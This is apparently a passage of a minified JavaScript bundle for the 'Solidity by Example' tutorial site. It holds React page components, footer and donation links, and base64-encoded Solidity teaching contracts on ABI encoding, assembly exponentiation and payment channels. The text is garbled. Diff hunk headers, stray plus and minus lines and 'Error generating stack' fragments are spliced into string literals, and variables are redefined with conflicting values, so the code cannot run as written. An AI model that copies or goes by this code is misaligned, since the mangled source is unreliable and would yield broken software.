RmKr0N8fRsuNG7GVNDKcI97XdPMmO3eGR4S0jIHhmhjmjI9z+DCHDjGdVsprIII5p05x8CD371ca9hl4UMODSkOeP19puH/AcI47sVUkys85bsVWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",GC="/assets/telegram-zGrx4xca.png",fC="/assets/discord-akqDA9xj.png",ge="0x95a647B3d8a3F11176BAdB799b9499C671fa243a";function VC(){return i.jsxs("div",{className:cs.component,children:[i.jsxs("div",{className:cs.row,children:[i.jsx("img",{src:BC,alt:"smart contract engineer",className:cs.sce}),i.jsx("a",{href:"https://www.smartcontract.engineer",target:"__blank",children:"Smart Contract Engineer"})]}),i.jsxs("div",{className:cs.social,children:[i.jsxs("div",{className:cs.row,children:[i.jsx("img",{src:fC,alt:"discord",className:cs.discord}),i.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),i.jsxs("div",{className:cs.row,children:[i.jsx("img",{src:GC,alt:"telegram",className:cs.telegram}),i.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),i.jsxs("div",{className:cs.row,children:[i.jsx("img",{src:Ih,alt:"youtube",className:cs.youTube}),i.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),i.jsxs("div",{className:cs.row,children:["Donate",i.jsx("span",{children:"🙂"}),i.jsxs("a",{href:`https://etherscan.io/address/${ge}`,target:"__blank",children:[ge.slice(0,6),"...",ge.slice(-6,-1)]}),i.jsx("span",{className:cs.to,children:"to"}),i.jsx("a",{href:"https://khanacademy.org",target:"__blank",className:cs.khan,children:"Khan Academy"})]}),i.jsx("div",{className:cs.row,children:i.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),i.jsxs("div",{className:cs.row,children:[i.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io",target:"__blank",children:"source"}),i.jsx("div",{className:cs.bar,children:"|"}),i.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"license"})]})]})}const vC=({children:s})=>{const{state:a}=ct(),n=W.useRef(null);W.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return i.jsxs("div",{className:Yl.component,children:[i.jsx("div",{ref:n,className:Yl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?i.jsx(pC,{onClick:l}):null}),i.jsxs("div",{className:Yl.main,children:[i.jsx(jC,{}),i.jsxs("div",{className:Yl.children,children:[s,i.jsx(VC,{})]})]})]})},Ch=({title:s,description:a})=>(W.useEffect(()=>{document.title=s;const n=document.querySelector("meta[name='description']");n&&n.setAttribute("content",a)},[]),null),Yo=' ',YC='';function RC(s=[]){W.useEffect(()=>{const a=p=>{try{const e=document.createElement("textarea");e.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(e),navigator.clipboard.writeText(p.innerText),document.body.removeChild(e)}catch(e){console.error(e)}},n=[];return document.querySelectorAll("pre").forEach(p=>{var r;if(((r=p.parentElement)==null?void 0:r.className)=="copy-wrapper")return;const e=document.createElement("div");e.className="copy-wrapper",p.parentElement.insertBefore(e,p),e.appendChild(p);const c=document.createElement("button");c.className="copy",c.title="Copy",c.innerHTML=Yo,c.ariaLabel="Copy to clipboard",p.after(c);function t(d){d.preventDefault(),a(p.childNodes[0]),c.innerHTML=YC}function o(d){d.preventDefault(),c.innerHTML=Yo}c.addEventListener("click",t),c.addEventListener("blur",o),n.push(()=>{c.removeEventListener("click",t),c.removeEventListener("blur",o)})}),()=>{for(let p=0;p(RC([]),i.jsx("div",{className:`code ${s}`,dangerouslySetInnerHTML:{__html:a}})),HC="_component_ni5i2_1",FC="_content_ni5i2_5",NC="_prevNext_ni5i2_8",de={component:HC,content:FC,prevNext:NC},u=({title:s,version:a,description:n,html:l,prev:p,next:e,codes:c})=>i.jsxs("div",{className:de.component,children:[i.jsx(Ch,{title:`${s} | Solidity by Example | ${a}`,description:n}),i.jsxs("div",{className:de.content,children:[i.jsx("h2",{children:s}),i.jsx(XC,{html:l}),i.jsxs("div",{className:de.prevNext,children:[p&&i.jsxs("a",{href:p.path,children:["< ",p.title]}),e&&i.jsxs("a",{href:e.path,children:[e.title," >"]})]}),i.jsx("h3",{children:"Try on Remix"}),i.jsx("ul",{children:c.map(({fileName:t,code:o},r)=>i.jsx("li",{children:i.jsx("a",{href:`https://remix.ethereum.org/?#code=${o}`,target:"_blank",rel:"noreferrer",children:t})},r))})]})]}),KC="0.8.20",SC="ABI Decode",xC="ABI decode bytes",MC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnRbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludCB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG1lbW9yeSBteVN0cnVjdCkKICAgIHsKICAgICAgICAvLyAodWludCB4LCBhZGRyZXNzIGFkZHIsIHVpbnRbXSBtZW1vcnkgYXJyLCBNeVN0cnVjdCBteVN0cnVjdCkgPSAuLi4KICAgICAgICAoeCwgYWRkciwgYXJyLCBteVN0cnVjdCkgPSBhYmkuZGVjb2RlKGRhdGEsICh1aW50LCBhZGRyZXNzLCB1aW50W10sIE15U3RydWN0KSk7CiAgICB9Cn0K"}],JC=`

abi.encode encodes data into bytes.

abi.decode decodes bytes back into data.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.20;
@@ -95,7 +95,7 @@ Error generating stack: `+e.message+`
         (x, addr, arr, myStruct) = abi.decode(data, (uint, address, uint[], MyStruct));
     }
 }
-
`,xC=({prev:s,next:a})=>i.jsx(u,{version:HC,title:FC,description:NC,html:SC,prev:s,next:a,codes:KC}),MC="0.8.20",JC="ABI Encode",zC="ABI encode",EC=[{fileName:"AbiEncode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IFRva2VuIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MsIHVpbnQpIGV4dGVybmFsIHt9Cn0KCmNvbnRyYWN0IEFiaUVuY29kZSB7CiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2NvbnRyYWN0LCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssICkgPSBfY29udHJhY3QuY2FsbChkYXRhKTsKICAgICAgICByZXF1aXJlKG9rLCAiY2FsbCBmYWlsZWQiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGVXaXRoU2lnbmF0dXJlKAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICAvLyBUeXBvIGlzIG5vdCBjaGVja2VkIC0gInRyYW5zZmVyKGFkZHJlc3MsIHVpbnQpIgogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgidHJhbnNmZXIoYWRkcmVzcyx1aW50MjU2KSIsIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuY29kZVdpdGhTZWxlY3RvcigKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQgYW1vdW50CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgLy8gVHlwZSBpcyBub3QgY2hlY2tlZCAtIChJRVJDMjAudHJhbnNmZXIuc2VsZWN0b3IsIHRydWUsIGFtb3VudCkKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTZWxlY3RvcihJRVJDMjAudHJhbnNmZXIuc2VsZWN0b3IsIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuY29kZUNhbGwoYWRkcmVzcyB0bywgdWludCBhbW91bnQpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgLy8gVHlwbyBhbmQgdHlwZSBlcnJvcnMgd2lsbCBub3QgY29tcGlsZQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K"}],LC=`
// SPDX-License-Identifier: MIT
+
`,zC=({prev:s,next:a})=>i.jsx(u,{version:KC,title:SC,description:xC,html:JC,prev:s,next:a,codes:MC}),EC="0.8.20",LC="ABI Encode",QC="ABI encode",_C=[{fileName:"AbiEncode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IFRva2VuIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MsIHVpbnQpIGV4dGVybmFsIHt9Cn0KCmNvbnRyYWN0IEFiaUVuY29kZSB7CiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2NvbnRyYWN0LCBieXRlcyBjYWxsZGF0YSBkY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YW1vdW50KSk7CiAgICB9Cn0K"}],UC=`
// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.20;
 
 interface IERC20 {
@@ -133,7 +133,7 @@ Error generating stack: `+e.message+`
         return abi.encodeCall(IERC20.transfer, (to, amount));
     }
 }
-
`,QC=({prev:s,next:a})=>i.jsx(u,{version:MC,title:JC,description:zC,html:LC,prev:s,next:a,codes:EC}),_C="0.8.20",UC="Assembly Binary Exponentiation",TC="Example of binary exponentiation in assembly",DC=[{fileName:"AssemblyBinExp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5QmluRXhwIHsKICAgIC8vIEJpbmFyeSBleHBvbmVudGlhdGlvbiB0byBjYWxjdWxhdGUgeCoqbgogICAgZnVuY3Rpb24gcnBvdyh1aW50MjU2IHgsIHVpbnQyNTYgbiwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICAvLyB4ID0gMAogICAgICAgICAgICBjYXNlIDAgewogICAgICAgICAgICAgICAgc3dpdGNoIG4KICAgICAgICAgICAgICAgIC8vIG4gPSAwIC0tPiB4KipuID0gMCoqMCAtLT4gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIG4gPiAwIC0tPiB4KipuID0gMCoqbiAtLT4gMAogICAgICAgICAgICAgICAgZGVmYXVsdCB7IHogOj0gMCB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggbW9kKG4sIDIpCiAgICAgICAgICAgICAgICAvLyB4ID4gMCBhbmQgbiBpcyBldmVuIC0tPiB6ID0gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIHggPiAwIGFuZCBuIGlzIG9kZCAtLT4geiA9IHgKICAgICAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IHggfQoKICAgICAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKSAvLyBmb3Igcm91bmRpbmcuCiAgICAgICAgICAgICAgICAvLyBuID0gbiAvIDIsIHdoaWxlIG4gPiAwLCBuID0gbiAvIDIKICAgICAgICAgICAgICAgIGZvciB7IG4gOj0gZGl2KG4sIDIpIH0gbiB7IG4gOj0gZGl2KG4sIDIpIH0gewogICAgICAgICAgICAgICAgICAgIGxldCB4eCA6PSBtdWwoeCwgeCkKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eCAvIHggIT0geAogICAgICAgICAgICAgICAgICAgIGlmIGlzemVybyhlcShkaXYoeHgsIHgpLCB4KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIC8vIFJvdW5kICh4eCArIGhhbGYpIC8gYgogICAgICAgICAgICAgICAgICAgIGxldCB4eFJvdW5kIDo9IGFkZCh4eCwgaGFsZikKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eFJvdW5kIDwgeHgKICAgICAgICAgICAgICAgICAgICBpZiBsdCh4eFJvdW5kLCB4eCkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIHggOj0gZGl2KHh4Um91bmQsIGIpCiAgICAgICAgICAgICAgICAgICAgLy8gaWYgbiAlIDIgPT0gMQogICAgICAgICAgICAgICAgICAgIGlmIG1vZChuLCAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB6eCA6PSBtdWwoeiwgeCkKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmV2ZXJ0IGlmIHggIT0gMCBhbmQgenggLyB4ICE9IHoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgYW5kKGlzemVybyhpc3plcm8oeCkpLCBpc3plcm8oZXEoZGl2KHp4LCB4KSwgeikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXZlcnQoMCwgMCkKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBSb3VuZCAoenggKyBoYWxmKSAvIGIKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHp4Um91bmQgOj0gYWRkKHp4LCBoYWxmKQogICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB6eFJvdW5kIDwgengKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbHQoenhSb3VuZCwgengpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgICAgICAgICAgICAgeiA6PSBkaXYoenhSb3VuZCwgYikKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0="}],OC=`

Example of binary exponentiation in assembly

+`,TC=({prev:s,next:a})=>i.jsx(u,{version:EC,title:LC,description:QC,html:UC,prev:s,next:a,codes:_C}),DC="0.8.20",OC="Assembly Binary Exponentiation",PC="Example of binary exponentiation in assembly",$C=[{fileName:"AssemblyBinExp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5QmluRXhwIHsKICAgIC8vIEJpbmFyeSBleHBvbmVudGlhdGlvbiB0byBjYWxjdWxhdGUgeCoqbgogICAgZnVuY3Rpb24gcnBvdyh1aW50MjU2IHgsIHVpbnQyNTYgbiwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICAvLyB4ID0gMAogICAgICAgICAgICBjYXNlIDAgewogICAgICAgICAgICAgICAgc3dpdGNoIG4KICAgICAgICAgICAgICAgIC8vIG4gPSAwIC0tPiB4KipuID0gMCoqMCAtLT4gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIG4gPiAwIC0tPiB4KipuID0gMCoqbiAtLT4gMAogICAgICAgICAgICAgICAgZGVmYXVsdCB7IHogOj0gMCB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggbW9kKG4sIDIpCiAgICAgICAgICAgICAgICAvLyB4ID4gMCBhbmQgbiBpcyBldmVuIC0tPiB6ID0gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIHggPiAwIGFuZCBuIGlzIG9kZCAtLT4geiA9IHgKICAgICAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IHggfQoKICAgICAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKSAvLyBmb3Igcm91bmRpbmcuCiAgICAgICAgICAgICAgICAvLyBuID0gbiAvIDIsIHdoaWxlIG4gPiAwLCBuID0gbiAvIDIKICAgICAgICAgICAgICAgIGZvciB7IG4gOj0gZGl2KG4sIDIpIH0gbiB7IG4gOj0gZGl2KG4sIDIpIH0gewogICAgICAgICAgICAgICAgICAgIGxldCB4eCA6PSBtdWwoeCwgeCkKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eCAvIHggIT0geAogICAgICAgICAgICAgICAgICAgIGlmIGlzemVybyhlcShkaXYoeHgsIHgpLCB4KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIC8vIFJvdW5kICh4eCArIGhhbGYpIC8gYgogICAgICAgICAgICAgICAgICAgIGxldCB4eFJvdW5kIDo9IGFkZCh4eCwgaGFsZikKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eFJvdW5kIDwgeHgKICAgICAgICAgICAgICAgICAgICBpZiBsdCh4eFJvdW5kLCB4eCkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIHggOj0gZGl2KHh4Um91bmQsIGIpCiAgICAgICAgICAgICAgICAgICAgLy8gaWYgbiAlIDIgPT0gMQogICAgICAgICAgICAgICAgICAgIGlmIG1vZChuLCAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB6eCA6PSBtdWwoeiwgeCkKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmV2ZXJ0IGlmIHggIT0gMCBhbmQgenggLyB4ICE9IHoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgYW5kKGlzemVybyhpc3plcm8oeCkpLCBpc3plcm8oZXEoZGl2KHp4LCB4KSwgeikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXZlcnQoMCwgMCkKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBSb3VuZCAoenggKyBoYWxmKSAvIGIKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHp4Um91bmQgOj0gYWRkKHp4LCBoYWxmKQogICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB6eFJvdW5kIDwgengKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbHQoenhSb3VuZCwgengpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgICAgICAgICAgICAgeiA6PSBkaXYoenhSb3VuZCwgYikKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0="}],qC=`

Example of binary exponentiation in assembly

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.20;
 
@@ -190,7 +190,7 @@ Error generating stack: `+e.message+`
         }
     }
 }
-
`,PC=({prev:s,next:a})=>i.jsx(u,{version:_C,title:UC,description:TC,html:OC,prev:s,next:a,codes:DC}),$C="0.8.20",qC="Bi-Directional Payment Channel",sj="An example of bi-directional payment channels in Solidity",aj=[{fileName:"BiDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCk9wZW5pbmcgYSBjaGFubmVsCjEuIEFsaWNlIGFuZCBCb2IgZnVuZCBhIG11bHRpLXNpZyB3YWxsZXQKMi4gUHJlY29tcHV0ZSBwYXltZW50IGNoYW5uZWwgYWRkcmVzcwozLiBBbGljZSBhbmQgQm9iIGV4Y2hhbmdlcyBzaWduYXR1cmVzIG9mIGluaXRpYWwgYmFsYW5jZXMKNC4gQWxpY2UgYW5kIEJvYiBjcmVhdGVzIGEgdHJhbnNhY3Rpb24gdGhhdCBjYW4gZGVwbG95IGEgcGF5bWVudCBjaGFubmVsIGZyb20KICAgdGhlIG11bHRpLXNpZyB3YWxsZXQKClVwZGF0ZSBjaGFubmVsIGJhbGFuY2VzCjEuIFJlcGVhdCBzdGVwcyAxIC0gMyBmcm9tIG9wZW5pbmcgYSBjaGFubmVsCjIuIEZyb20gbXVsdGktc2lnIHdhbGxldCBjcmVhdGUgYSB0cmFuc2FjdGlvbiB0aGF0IHdpbGwKICAgLSBkZWxldGUgdGhlIHRyYW5zYWN0aW9uIHRoYXQgd291bGQgaGF2ZSBkZXBsb3llZCB0aGUgb2xkIHBheW1lbnQgY2hhbm5lbAogICAtIGFuZCB0aGVuIGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgY2FuIGRlcGxveSBhIHBheW1lbnQgY2hhbm5lbCB3aXRoIHRoZQogICAgIG5ldyBiYWxhbmNlcwoKQ2xvc2luZyBhIGN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X3VzZXJzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3MgcGF5YWJsZSB1c2VyID0gX3VzZXJzW2ldOwoKICAgICAgICAgICAgcmVxdWlyZSghaXNVc2VyW3VzZXJdLCAidXNlciBtdXN0IGJlIHVuaXF1ZSIpOwogICAgICAgICAgICB1c2Vyc1tpXSA9IHVzZXI7CiAgICAgICAgICAgIGlzVXNlclt1c2VyXSA9IHRydWU7CgogICAgICAgICAgICBiYWxhbmNlc1t1c2VyXSA9IF9iYWxhbmNlc1tpXTsKICAgICAgICB9CgogICAgICAgIGV4cGlyZXNBdCA9IF9leHBpcmVzQXQ7CiAgICAgICAgY2hhbGxlbmdlUGVyaW9kID0gX2NoYWxsZW5nZVBlcmlvZDsKICAgIH0KCiAgICBmdW5jdGlvbiB2ZXJpZnkoCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzLAogICAgICAgIGFkZHJlc3MgX2NvbnRyYWN0LAogICAgICAgIGFkZHJlc3NbMl0gbWVtb3J5IF9zaWduZXJzLAogICAgICAgIHVpbnRbMl0gbWVtb3J5IF9iYWxhbmNlcywKICAgICAgICB1aW50IF9ub25jZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgX3NpZ25hdHVyZXMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgTk9URTogc2lnbiB3aXRoIGFkZHJlc3Mgb2YgdGhpcyBjb250cmFjdCB0byBwcm90ZWN0CiAgICAgICAgICAgICAgICAgIGFnYWlucyByZXBsYXkgYXR0YWNrIG9uIG90aGVyIGNvbnRyYWN0cwogICAgICAgICAgICAqLwogICAgICAgICAgICBib29sIHZhbGlkID0gX3NpZ25lcnNbaV0gPT0KICAgICAgICAgICAgICAgIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF9jb250cmFjdCwgX2JhbGFuY2VzLCBfbm9uY2UpKQogICAgICAgICAgICAgICAgICAgIC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCkKICAgICAgICAgICAgICAgICAgICAucmVjb3Zlcihfc2lnbmF0dXJlc1tpXSk7CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIG1vZGlmaWVyIGNoZWNrU2lnbmF0dXJlcygKICAgICAgICBieXRlc1syXSBtZW1vcnkgX3NpZ25hdHVyZXMsCiAgICAgICAgdWludFsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQgX25vbmNlCiAgICApIHsKICAgICAgICAvLyBOb3RlOiBjb3B5IHN0b3JhZ2UgYXJyYXkgdG8gbWVtb3J5CiAgICAgICAgYWRkcmVzc1syXSBtZW1vcnkgc2lnbmVyczsKICAgICAgICBmb3IgKHVpbnQgaSA9IDA7IGkgPCB1c2Vycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBzaWduZXJzW2ldID0gdXNlcnNbaV07CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB2ZXJpZnkoX3NpZ25hdHVyZXMsIGFkZHJlc3ModGhpcyksIHNpZ25lcnMsIF9iYWxhbmNlcywgX25vbmNlKSwKICAgICAgICAgICAgIkludmFsaWQgc2lnbmF0dXJlIgogICAgICAgICk7CgogICAgICAgIF87CiAgICB9CgogICAgbW9kaWZpZXIgb25seVVzZXIoKSB7CiAgICAgICAgcmVxdWlyZShpc1VzZXJbbXNnLnNlbmRlcl0sICJOb3QgdXNlciIpOwogICAgICAgIF87CiAgICB9CgogICAgZnVuY3Rpb24gY2hhbGxlbmdlRXhpdCgKICAgICAgICB1aW50WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludCBfbm9uY2UsCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzCiAgICApCiAgICAgICAgcHVibGljCiAgICAgICAgb25seVVzZXIKICAgICAgICBjaGVja1NpZ25hdHVyZXMoX3NpZ25hdHVyZXMsIF9iYWxhbmNlcywgX25vbmNlKQogICAgICAgIGNoZWNrQmFsYW5jZXMoX2JhbGFuY2VzKQogICAgewogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgZXhwaXJlc0F0LCAiRXhwaXJlZCBjaGFsbGVuZ2UgcGVyaW9kIik7CiAgICAgICAgcmVxdWlyZShfbm9uY2UgPiBub25jZSwgIk5vbmNlIG11c3QgYmUgZ3JlYXRlciB0aGFuIHRoZSBjdXJyZW50IG5vbmNlIik7CgogICAgICAgIGZvciAodWludCBpID0gMDsgaSA8IF9iYWxhbmNlcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBiYWxhbmNlc1t1c2Vyc1tpXV0gPSBfYmFsYW5jZXNbaV07CiAgICAgICAgfQoKICAgICAgICBub25jZSA9IF9ub25jZTsKICAgICAgICBleHBpcmVzQXQgPSBibG9jay50aW1lc3RhbXAgKyBjaGFsbGVuZ2VQZXJpb2Q7CgogICAgICAgIGVtaXQgQ2hhbGxlbmdlRXhpdChtc2cuc2VuZGVyLCBub25jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgb25seVVzZXIgewogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID49IGV4cGlyZXNBdCwgIkNoYWxsZW5nZSBwZXJpb2QgaGFzIG5vdCBleHBpcmVkIHlldCIpOwoKICAgICAgICB1aW50IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICA